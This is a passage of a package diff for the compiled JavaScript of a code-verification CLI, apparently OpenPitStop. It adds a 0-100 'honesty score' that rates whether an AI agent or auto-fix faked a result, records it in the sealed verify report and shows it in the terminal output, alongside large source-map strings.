E,CAAC;QACjB,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,qBAAqB,CAAC,CAAC;QACxD,EAAE,CAAC,aAAa,CAAC,QAAQ,EAAE,UAAU,CAAC,KAAK,CAAC,CAAC,CAAC;QAC9C,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,0BAA0B,QAAQ,IAAI,CAAC,CAAC,CAAC;IACjE,CAAC;AACH,CAAC,CAAC,CAAC"}
|
|
@@ -4,6 +4,7 @@ import { deltasOf } from "../verify/metrics.js";
|
|
|
4
4
|
import { type ScoreResult } from "../report/score.js";
|
|
5
5
|
import type { IntegrityFinding, Verdict } from "../analyzers/integrity/types.js";
|
|
6
6
|
import { type EvidenceCheck } from "../evidence.js";
|
|
7
|
+
import { type HonestyScore } from "../verify/honesty.js";
|
|
7
8
|
interface IntegrityGate {
|
|
8
9
|
verdict: Verdict;
|
|
9
10
|
findings: IntegrityFinding[];
|
|
@@ -32,6 +33,8 @@ export interface VerifyOutcome {
|
|
|
32
33
|
scoreDelta: number;
|
|
33
34
|
exitCode: number;
|
|
34
35
|
file?: string;
|
|
36
|
+
/** 0-100 trust rating: did the agent (or auto-fix) fake the result? */
|
|
37
|
+
honesty?: HonestyScore;
|
|
35
38
|
}
|
|
36
39
|
/**
|
|
37
40
|
* The shared verify pipeline (also used by `pitstop gate`): re-measure the
|
package/dist/commands/verify.js
CHANGED
|
@@ -16,6 +16,7 @@ import { computeScore } from "../report/score.js";
|
|
|
16
16
|
import { getDiff } from "../analyzers/integrity/git.js";
|
|
17
17
|
import { buildIntegrityReport } from "../graph/integrity.js";
|
|
18
18
|
import { seal, checkEvidence } from "../evidence.js";
|
|
19
|
+
import { computeHonesty } from "../verify/honesty.js";
|
|
19
20
|
/**
|
|
20
21
|
* Every verify run doubles as an integrity gate: it diffs the working tree
|
|
21
22
|
* against the last commit (HEAD) and runs the AI-agent-cheat detectors. A
|
|
@@ -114,7 +115,7 @@ function currentScoreOf(baselineResult, current, integrityPenalty) {
|
|
|
114
115
|
export async function runVerify(repo) {
|
|
115
116
|
const baselineResult = readBaseline(repo);
|
|
116
117
|
if (!baselineResult) {
|
|
117
|
-
|
|
118
|
+
const outcome = {
|
|
118
119
|
repo,
|
|
119
120
|
missingBaseline: true,
|
|
120
121
|
stale: false,
|
|
@@ -152,6 +153,7 @@ export async function runVerify(repo) {
|
|
|
152
153
|
scoreDelta: 0,
|
|
153
154
|
exitCode: 1,
|
|
154
155
|
};
|
|
156
|
+
return { ...outcome, honesty: computeHonesty(outcome) };
|
|
155
157
|
}
|
|
156
158
|
// Evidence signature: recompute the digest of the stored scan and compare.
|
|
157
159
|
// A baseline edited after OpenPitStop wrote it breaks the chain — the score
|
|
@@ -190,16 +192,19 @@ export async function runVerify(repo) {
|
|
|
190
192
|
fs.mkdirSync(outDir, { recursive: true });
|
|
191
193
|
const ts = new Date().toISOString().replace(/[:.]/g, "-");
|
|
192
194
|
const file = path.join(outDir, `verify-${ts}.json`);
|
|
193
|
-
const
|
|
194
|
-
timestamp: new Date().toISOString(),
|
|
195
|
+
const honesty = computeHonesty({
|
|
195
196
|
repo,
|
|
196
|
-
|
|
197
|
+
missingBaseline: false,
|
|
198
|
+
stale,
|
|
197
199
|
risk,
|
|
200
|
+
integrity,
|
|
198
201
|
blocked,
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
202
|
+
current,
|
|
203
|
+
baseline,
|
|
204
|
+
deltas: d,
|
|
205
|
+
baselineScore,
|
|
206
|
+
currentScore,
|
|
207
|
+
scoreDelta,
|
|
203
208
|
exitCode: blocked
|
|
204
209
|
? integrity.verdict === "CONFIRMED_CHEAT"
|
|
205
210
|
? 2
|
|
@@ -207,19 +212,8 @@ export async function runVerify(repo) {
|
|
|
207
212
|
: risk === "High"
|
|
208
213
|
? 1
|
|
209
214
|
: 0,
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
baseline,
|
|
213
|
-
current,
|
|
214
|
-
score: {
|
|
215
|
-
baseline: baselineScore.score,
|
|
216
|
-
current: currentScore.score,
|
|
217
|
-
delta: scoreDelta,
|
|
218
|
-
grade: currentScore.grade,
|
|
219
|
-
},
|
|
220
|
-
};
|
|
221
|
-
fs.writeFileSync(file, JSON.stringify(seal(report, `pitstop verify result for ${repo}`), null, 2));
|
|
222
|
-
return {
|
|
215
|
+
});
|
|
216
|
+
const outcome = {
|
|
223
217
|
repo,
|
|
224
218
|
missingBaseline: false,
|
|
225
219
|
baselineTimestamp: baselineResult.timestamp,
|
|
@@ -243,7 +237,33 @@ export async function runVerify(repo) {
|
|
|
243
237
|
? 1
|
|
244
238
|
: 0,
|
|
245
239
|
file,
|
|
240
|
+
honesty,
|
|
246
241
|
};
|
|
242
|
+
const report = {
|
|
243
|
+
timestamp: new Date().toISOString(),
|
|
244
|
+
repo,
|
|
245
|
+
baselineTimestamp: baselineResult.timestamp,
|
|
246
|
+
risk,
|
|
247
|
+
blocked,
|
|
248
|
+
stale,
|
|
249
|
+
staleNote: stale ? staleNote : undefined,
|
|
250
|
+
evidence,
|
|
251
|
+
status: blocked ? "BLOCKED" : evidence.status === "tampered" ? "SUSPICIOUS_EVIDENCE" : "OK",
|
|
252
|
+
exitCode: outcome.exitCode,
|
|
253
|
+
integrity,
|
|
254
|
+
deltas: d,
|
|
255
|
+
baseline,
|
|
256
|
+
current,
|
|
257
|
+
score: {
|
|
258
|
+
baseline: baselineScore.score,
|
|
259
|
+
current: currentScore.score,
|
|
260
|
+
delta: scoreDelta,
|
|
261
|
+
grade: currentScore.grade,
|
|
262
|
+
},
|
|
263
|
+
honesty,
|
|
264
|
+
};
|
|
265
|
+
fs.writeFileSync(file, JSON.stringify(seal(report, `pitstop verify result for ${repo}`), null, 2));
|
|
266
|
+
return outcome;
|
|
247
267
|
}
|
|
248
268
|
function fmtBundle(b) {
|
|
249
269
|
return b == null ? "—" : `${(b / 1024).toFixed(1)} KB`;
|
|
@@ -339,6 +359,18 @@ function renderVerifyBox(o) {
|
|
|
339
359
|
if (o.stale)
|
|
340
360
|
contentParts.push("");
|
|
341
361
|
contentParts.push(...integrityParts, riskLine);
|
|
362
|
+
if (o.honesty) {
|
|
363
|
+
const hc = o.honesty.rating === "TRUSTWORTHY"
|
|
364
|
+
? chalk.green
|
|
365
|
+
: o.honesty.rating === "QUESTIONABLE"
|
|
366
|
+
? chalk.yellow
|
|
367
|
+
: chalk.red;
|
|
368
|
+
contentParts.push(hc(`Honesty Score: ${o.honesty.score}/100 · ${o.honesty.rating}`));
|
|
369
|
+
if (o.honesty.rating !== "TRUSTWORTHY") {
|
|
370
|
+
for (const r of o.honesty.reasons)
|
|
371
|
+
contentParts.push(chalk.dim(` · ${r}`));
|
|
372
|
+
}
|
|
373
|
+
}
|
|
342
374
|
contentParts.push("", table.toString());
|
|
343
375
|
const content = contentParts.join("\n");
|
|
344
376
|
const color = o.blocked ? "red" : o.risk === "High" ? "red" : o.risk === "Medium" ? "yellow" : "green";
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"verify.js","sourceRoot":"","sources":["../../src/commands/verify.ts"],"names":[],"mappings":"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